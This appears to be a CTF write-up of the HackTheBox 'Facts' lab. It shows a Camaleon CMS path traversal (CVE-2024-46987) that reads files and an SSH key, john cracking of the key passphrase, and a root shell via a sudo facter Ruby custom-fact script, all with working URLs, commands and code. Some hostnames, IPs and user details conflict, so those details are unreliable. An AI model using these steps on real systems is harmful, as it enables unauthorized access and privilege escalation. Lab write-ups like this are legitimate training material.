This was the first Season10 machine a Linux based machine

This writeup documents the complete exploitation of the Facts machine from HackTheBox Season 10, a Linux- based system rated as Easy difficulty. The attack chain leverages a path traversal vulnerability in Camaleon CMS (CVE- 2024- 46987) to obtain sensitive files, followed by SSH key extraction and cracking, culminating in privilege escalation via a misconfigured sudo permission for the facter binary.

Key Skills Practiced:

• Web application reconnaissance and enumeration

• Path traversal (LFI) exploitation

• SSH key extraction and passphrase cracking

• Linux privilege escalation via sudo misconfigurations

• Ruby code injection for privilege escalation

2 Q Reconnaissance & Enumeration

2.1 Network Scanning

Initial reconnaissance began with a comprehensive port scan using rustscan and nmap to identify open services and potential vulnerabilities.

2.1.1 Port Scanning with RustScan or Nmap

rustscan - a 10.129.64.133 - u 5000 - r 1- 65535 - - A - T4 - - script vuln - vvv

On my case i used nmap and i got this nmap

Discovered Open Ports:

• 22/tcp - OpenSSH 9.9p1 Ubuntu • 80/tcp - nginx 1.26.3 (Camaleon CMS) • 54321/tcp - MinIO S3 Storage Server

2.1.2 Service Version Detection

The nmap scan revealed critical version information:

SSH: OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 • €HTTP: nginx 1.26.3 (Ubuntu) hosting Camaleon CMS • MinIO: S3-compatible object storage (Golang net/http)

Warning

The nmap vulnerability scan identified several potential CVEs, but the most critical finding was the presence of Camaleon CMS, which is vulnerable toCVE- 2024- 46987 (Path Traversal).

2.2 Web Application Enumeration

2.2.1 Adding Target to /etc/hosts

Before proceeding with web enumeration, the target was added to the local hosts file:

echo "10.129.64.27 facts.hth" | sudo tee - a /etc/hosts

after adding it to there i had to see the look of the webapp we gonna exploit

the-webapp

2.2.2 Directory Brute Forcing

Using gobuster to discover hidden directories and endpoints:

┌─[havoc@havocsec]─[~/Downloads/htb/season10/facts]`
`└──╼ $ gobuster dir \`
  `-u http://facts.htb \`
  `-w /home/havoc/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \`
  `-t 50 \`
  `-r`
`===============================================================`
`Gobuster v3.8.2`
`by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)`
##### ===============================================================
`[+] Url:                     http://facts.htb`
`[+] Method:                  GET`
`[+] Threads:                 50`
`[+] Wordlist:                directory-list-2.3-medium.txt`
`[+] Negative Status codes:   404`
`[+] User Agent:              gobuster/3.8.2`
`[+] Follow Redirect:         true`
`[+] Timeout:                 10s`
##### ===============================================================
`Starting gobuster in directory enumeration mode
###### ===============================================================

`/sitemap    (Status: 200) [Size: 3508]`
`/rss        (Status: 200) [Size: 183]`
`/search     (Status: 200) [Size: 19187]`
`/index      (Status: 200) [Size: 11113]`
`/en         (Status: 200) [Size: 11109]`
`/page       (Status: 200) [Size: 19593]`
`/welcome    (Status: 200) [Size: 11966]`
`/admin      (Status: 200) [Size: 3896]`
`/post       (Status: 200) [Size: 11308]`
`/ajax       (Status: 200) [Size: 0]`
`/up         (Status: 200) [Size: 73]`
`/robots     (Status: 200) [Size: 33]`
`/error      (Status: 500) [Size: 7918]`

`===============================================================`
`Progress: 5274 / 220558 (2.39%)`
##### ===============================================================

Success

Key Discovery: Found /admin endpoint leading to Camaleon CMS administrative interface.

2.3 Initial Web Reconnaissance Findings

Navigating to http://facts.htb/admin/login revealed the Camaleon CMS login page. At this stage, account creation was required to proceed with exploitation.

the-login-page

a wrong login as we tried admin gave an error

registration-wrong-login

3 Vulnerability Analysis - CVE- 2024- 46987

3.1 Vulnerability Overview

CVE- 2024- 46987 - Path Traversal in Camaleon CMS
Severity: High
CVSS Score: 7.5
Affected Versions: Camaleon CMS < 2.8.1 (actually affects 2.9.0+)
Attack Vector: Authenticated Path Traversal
Reference: https://securitylab.github.com/advisories/GHSL-2024-182_
https://securitylab.github.com/advisories/GHSL-2024-182_
GHSL-2024-186_Camaleon_CMS/

The vulnerability exists in the /admin/media/download_private_file endpoint, which fails to properly sanitize user input in the file parameter, allowing authenticated users to traverse the filesystem and read arbitrary files.

3.2 Account Registration

To exploit the vulnerability, an account was created on the Camaleon CMS:

  1. Navigate to http://facts.htb/admin/login
  2. Click “Create an account”
  3. Register with arbitrary credentials
  4. Login to obtain authenticated session

this is how the dashboard looks admin-dashboard

3.3 Exploitation - User Flag Acquisition

Once authenticated, the path traversal vulnerability was exploited to extract sensitive files.

3.3.1 Reading /etc/passwd for User Enumeration

http://facts.hbt/admin/media/download_private_file?file=../../../../../../../../../../../../../../../../../../../.././etc/passwd

it had this content the passwd file

root:x:0:0:root:/root:/bin/bash`
`daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin`
`bin:x:2:2:bin:/bin:/usr/sbin/nologin`
`sys:x:3:3:sys:/dev:/usr/sbin/nologin`
`sync:x:4:65534:sync:/bin:/bin/sync`
`games:x:5:60:games:/usr/games:/usr/sbin/nologin`
`man:x:6:12:man:/var/cache/man:/usr/sbin/nologin`
`lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin`
`mail:x:8:8:mail:/var/mail:/usr/sbin/nologin`
`news:x:9:9:news:/var/spool/news:/usr/sbin/nologin`
`uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin`
`proxy:x:13:13:proxy:/bin:/usr/sbin/nologin`
`www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin`
`backup:x:34:34:backup:/var/backups:/usr/sbin/nologin`
`list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin`
`irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin`
`_apt:x:42:65534::/nonexistent:/usr/sbin/nologin`
`nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
`systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin`
`usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin`
`systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin`
`messagebus:x:102:102::/nonexistent:/usr/sbin/nologin`
`systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin`
`pollinate:x:103:1::/var/cache/pollinate:/bin/false`
`polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin`
`syslog:x:104:104::/nonexistent:/usr/sbin/nologin`
`uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin`
`tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin`
`tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false`
`landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin`
`fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin`
`sshd:x:109:65534::/run/sshd:/usr/sbin/nologin`
`trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash`
`william:x:1001:1001::/home/william:/bin/bash`
`_laurel:x:101:988::/var/log/laurel:/bin/false

This revealed two interesting users with shell access:

• william (UID 1000) - Primary user • trivia (UID 1001) - Secondary user with SSH access

3.3.2 Retrieving User Flag

http://facts.hbt/admin/media/download_private_file?file=../../../../../../../../../../../../../../../../../../../.././home/ william/user.txt

Success

User Flag Obtained: Successfully retrieved user.txt from william’s home directory. user-flag

4 SSH Access via Key Extraction

4.1 SSH Private Key Extraction

Leveraging the same LFI vulnerability, the SSH private key for user trivia was extracted:

http://facts.htb/admin/media/download_private_file?file=../../../../../../home/ trivia/.ssh/id_ed25519

The extracted key was saved as id_ed25519. also to confirm i captured it with burpsuite and got it clean

butpsuite-key

Note

Key Type: Ed25519 - A modern elliptic curve signature scheme providing 128- bit security with smaller key sizes than RSA.

4.2 Passphrase Cracking with John the Ripper

The extracted SSH key was passphrase- protected and required cracking before use.

4.2.1 Converting SSH Key to John Format

ssh2john id_ed25519 > id_ed25519. hash

4.2.2 Cracking with Rockyou Wordlist

john id_ed25519. hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding : UTF -8`
`Loaded 1 password hash ( SSH , SSH private key [ RSA / DSA / EC / OPENSSH 32/64])`
`Cost 1 ( KDF / cipher [0= MD5 / AES 1= MD5 /3 DES 2= Bcrypt / AES ]) is 2 for all`
`loaded hashes`
`Cost 2 ( iteration count ) is 24 for all loaded hashes`
`Will run 4 OpenMP threads`
`...`
`dragonballz       ( id_ed25519 )

the-passcode

Success

Passphrase Cracked: dragon***********

4.3 SSH Connection

With the cracked passphrase, SSH access was established:

`chmod 600 id_ed25519 2

ssh - i id_ed25519 trivia@10.129.64.133

When prompted for the passphrase, dragonballz was entered, granting shell access as user trivia.

ssh

5 Privilege Escalation to Root

we need to privesc to root and get the root flag but before that we need to do some enumeration on the box using the common vectors.

trivia@facts:/home$ id && hostname && pwd
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
facts
/home
trivia@facts:/home$ ps aux | grep root
ss -tlpn
trivia     15840  0.0  0.0   6764  2460 pts/0    S+   22:33   0:00 grep --color=auto root
State                   Recv-Q                   Send-Q                                     Local Address:Port                                      Peer Address:Port                  Process                                              
LISTEN                  0                        1024                                           127.0.0.1:3000                                           0.0.0.0:*                      users:(("ruby3.3",pid=1433,fd=10))                  
LISTEN                  0                        4096                                             0.0.0.0:22                                             0.0.0.0:*                                                                          
LISTEN                  0                        511                                              0.0.0.0:80                                             0.0.0.0:*                                                                          
LISTEN                  0                        4096                                       127.0.0.53%lo:53                                             0.0.0.0:*                                                                          
LISTEN                  0                        4096                                          127.0.0.54:53                                             0.0.0.0:*                                                                          
LISTEN                  0                        4096                                             0.0.0.0:54321                                          0.0.0.0:*                                                                          
LISTEN                  0                        4096                                                [::]:22                                                [::]:*                                                                          
LISTEN                  0                        511                                                 [::]:80                                                [::]:*                                                                          
LISTEN                  0                        4096                                                [::]:54321                                             [::]:*                                                                          
trivia@facts:/home$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
trivia@facts:/home$ 

priv

Warning

Critical Vulnerability: User trivia can execute /usr/bin/facter as root with NOPASSWD, allowing arbitrary code execution as root.

We pivot to Facter.

Facter is a Ruby-based system profiling tool designed to collect “facts” about a host—OS details, environment data, system state. Under normal conditions, it’s harmless. Under sudo, it becomes dangerous.

When Facter runs, it automatically searches for and executes custom fact definitions—Ruby scripts intended to extend its data collection. The critical detail: those scripts execute with the same privileges as the Facter process itself.

In this case, Facter is allowed to run with sudo. That means any Ruby code it loads runs as root.

While env_reset blocks the FACTERLIB environment variable, this protection is incomplete. Facter exposes a built-in command-line option—--custom-dir—which explicitly defines where custom fact files are loaded from. This flag bypasses environment sanitization entirely.

By pointing --custom-dir to a directory we control, we can force Facter to load a malicious Ruby script. When Facter is executed via sudo, our script is evaluated with UID 0.

Rather than spawning an unstable shell from within sudo, we take the cleaner route: SetUID Bash.

We embed a system call inside the Ruby script that sets the SUID bit on /bin/bash. Once applied, invoking bash -p preserves elevated privileges and drops us into a fully interactive, persistent root shell—no TTY issues, no sudden drops.

With root access established, we proceed to retrieve the flag.

This isn’t brute force.
This is abusing trusted execution paths—exactly the kind of mistake real systems make.

5.1 Q Post-Exploitation Enumeration

After gaining SSH access, a privilege escalation enumeration script ruby was transferred to the target for comprehensive system analysis.

5.1.1 Transferring the script

this is the script

mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end
EOF

the-script and i did this cooler with this

sudo /usr/bin/facter --custom-dir /tmp/facts

and it did wonders root-flag and there we had our root flag.

Success

Root Access Achieved! Successfully escalated privileges to root.

acknowledgement

6 Key Takeaways & Lessons Learned


6.1 Technical Skills Demonstrated

  • Reconnaissance: Comprehensive port scanning and service enumeration

  • Web Exploitation: Identification and exploitation of path traversal vulnerabilities

  • Cryptography: SSH key extraction and passphrase cracking using John the Ripper

  • Linux Privilege Escalation: Exploiting sudo misconfigurations

  • Scripting: Ruby code injection for privilege escalation

6.2 Security Recommendations

  1. Input Validation: Implement strict input validation and sanitization for file path parameters

  2. Principle of Least Privilege: Avoid granting NOPASSWD sudo access to system utilities

  3. SSH Key Security: Use strong passphrases for SSH keys (avoid dictionary words)

  4. Regular Updates: Keep CMS and all software components updated to latest security patches

  5. Sudo Restrictions: If sudo access is necessary, limit commands with specific arguments only

6.3 Learning Outcomes

This machine provided excellent practice in:

Core Concepts Reinforced

• Understanding the impact of path traversal vulnerabilities

• Recognizing that version numbers alone are not reliable security indicators

• Proper enumeration methodology (automated + manual)

• Ed25519 key format and appropriate cracking tools

• GTFOBins research for privilege escalation techniques

• The importance of sudo configuration auditing

7.2 References

Thanks for reading—hope this walkthrough helped clarify the exploitation path and the underlying security misconfiguration.

Until the next box—stay sharp, keep breaking assumptions, and happy hacking.